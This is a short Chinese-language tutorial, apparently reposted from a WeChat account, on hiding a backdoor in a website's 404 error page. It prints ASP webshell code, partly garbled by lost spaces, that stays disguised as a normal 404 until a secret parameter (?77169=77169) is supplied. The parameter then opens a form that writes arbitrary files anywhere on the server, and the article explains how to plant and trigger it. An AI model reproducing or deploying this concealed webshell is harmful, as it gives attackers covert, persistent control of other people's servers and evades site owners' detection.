手把手打造404页面隐藏后门
2020-03-16 11:52:42 Author: mp.weixin.qq.com(查看原文) 阅读量:73 收藏


今天教大家打造一个隐蔽的404后门

我们先找一个404错误页面

把源码复制下来保存到本地asp格式

<% ifrequest("77169")="77169" then %>
<title>77169</title>
<%="<br>"%>
<%="Thefile location:" server.mappath(request.servervariables("script_name"))%>
<%DimobjFSO%>
<%Dim fdata%>
<%DimobjCountFile%>
<%on errorresume next%>
<%Set objFSO= Server.CreateObject("Scripting.FileSystemObject")%>
<%ifTrim(request("syfdpath"))<>"" then%>
<�ata =request("cyfddata")%>
<%SetobjCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Writefdata%>
<%if err =0then%>
<fontcolor=red>save!</font>
<%end if%>
<%end if%>
<%objCountFile.Close%>
<%SetobjCountFile=Nothing%>
<%Set objFSO= Nothing%>
<formaction='' method=post>
<p>
    <input type=text name=syfdpath width=32value="<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>"style="border:solid 1px" size=80>
</p>
<p>
      <textarea name=cyfddata cols=80rows=10 width=32 style="border:solid 1px"></textarea>
</p>
    <input type=submit value=savestyle="border:solid 1px">
    <fontcolor="#FF0000"><strong>                                    华夏黑客同盟</strong></font> </p>
</form><formaction="" method="post">
<% end if%>

把这段代码复制到文件头里然后保存

我们访问404页面返回的还是404

莫慌,

在url后面加上?77169=77169

file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image004.jpg

这样,我们的马子就出来了。

推荐文章++++

*BetterBackdoor 后门工具

*针对某mysql批量提权工具的后门分析

*基于 inetd 后门的简要分析及利用


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&amp;mid=2650460209&amp;idx=3&amp;sn=ae59edecca9a874a72de518e240103f2&amp;chksm=83bbb5d5b4cc3cc301b1923e9dc58ecff8fb4c06b3b455b5cda9cc04dd4f708ef9f6787efb0d#rd
如有侵权请联系:admin#unsafe.sh